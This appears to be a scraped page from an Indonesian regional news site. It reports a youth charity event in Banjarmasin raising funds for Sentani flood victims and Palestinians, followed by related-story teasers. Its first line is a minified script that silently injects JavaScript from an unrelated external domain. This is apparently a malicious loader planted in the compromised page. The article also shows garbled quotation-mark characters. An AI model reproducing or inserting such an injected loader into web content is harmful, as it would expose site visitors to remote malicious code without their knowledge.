(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Gelora kemanusiaan untuk korban banjir Sentani di Papua dan nasib muslim di Palestina datang dari anak-anak muda di kota Seribu Sungai. Dimotori oleh Masyarakat Relawan Indonesia (MRI) Banjarmasin, sebuah aksi kemanusiaan ditunjukkan oleh beberapa organisasi dan komunitas pada Minggu (24/3), di area Car Free Day (CFD) kota Banjarmasin.
Aksi sosial berupa layanan kesehatan menjadi bukti kepedulian mahasiswa Fakultas Kedokteran Universitas Lambung Mangkurat (ULM) yang tergabung dalam Kelompok Studi Islam (KSI) Asy Syifa. Layanan kesehatan berupa ukur berat badan, cek tensi darah, gula darah, dan asam urat itu mereka berikan secara cuma-cuma.
“Layanan ini tidak dipungut biaya tapi dianjurkan untuk berdonasi saja secara sukarela,†ujar Eko, perwakilan KSI Asy Syifa. “Bagus sekali kegiatan ini, kami senang jika nanti diajak kembali,†tuturnya.
Hal senada juga disampaikan Baihaqi, salah satu personil grup musik Last Day yang ikut beraksi melalui lantunan musik. “Senang bisa berkolaborasi, bisa membangkitkan jiwa kemanusiaan kita,†ujar Baihaqi. Grup musik Last Day tak sendiri, organisasi Music Generation (MG) Poliban dari Politeknik Banjarmasin juga ikut menghibur para pengunjung CFD, sekaligus mengajak mereka peduli kepada sesama di Sentani dan Palestina.
Ketua MRI Banjarmasin Muhammad Ilyas menyampaikan, kegiatan tersebut adalah dalam rangka menggalang dana untuk Sentani dan Palestina. “Banyak saudara kita di Sentani yang masih mengungsi karena hingga kini tempat tinggal mereka masih terendam banjir, maka dari itu kami mengajak warga Banjarmasin untuk turut peduli,†ucap Ilyas. “Dalam aksi ini kami juga ingin menunjukkan bahwa kami menolak lupa atas tragedi penindasan yang hingga hari ini masih dialami warga Palestina,†imbuhnya.
Menurut Ilyas, semua hasil penggalangan dana hari itu akan disalurkan melalui lembaga kemanusiaan Aksi Cepat Tanggap (ACT) Kalimantan Selatan. “Kami mendukung ACT untuk melayarkan Kapal Kemanusiaan Palestina jilid 2, semoga dukungan serupa juga diberikan oleh warga Banjarmasin khususnya anak-anak muda,†terang pemuda 25 tahun itu. Ia juga berharap ke depan bisa membuat aksi-aksi yang lebih menarik lagi untuk kemanusiaan.
Head of Marketing Communication ACT Kalsel Zainal Arifin mengapresiasi aksi tersebut. “Kepedulian yang ditunjukkan anak-anak muda ini menjadi semangat tersendiri, artinya generasi bangsa ini masih memiliki hati nurani yang luar biasa untuk dunia kemanusiaan. Gerakan kerelawanan inilah yang dibutuhkan untuk membangun peradaban yang lebih baik,†tutur Zainal Arifin.
Seperti diketahui, banjir bandang telah merendam Kecamatan Sentani, Jayapura, Papua pada Sabtu (16/3) lalu. Tim Disaster Emergency Response – Aksi Cepat Tanggap (DER – ACT) yang sudah tiba di lokasi melaporkan, beberapa titik wilayah di Kecamatan Sentani masih terendam banjir. Hingga Kamis (21/3) siang, jumlah pengungsi banjir bandang Jayapura sudah mencapai 8.057 orang. Sementara itu, kemiskinan dan kerawanan pangan kian meningkat di Palestina. Blokade yang dilakukan Israel telah mengikat ekonomi warga Gaza.
Akankah kita hanya diam melihat tragedi kemanusiaan terus terjadi di muka bumi ini?. (act)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.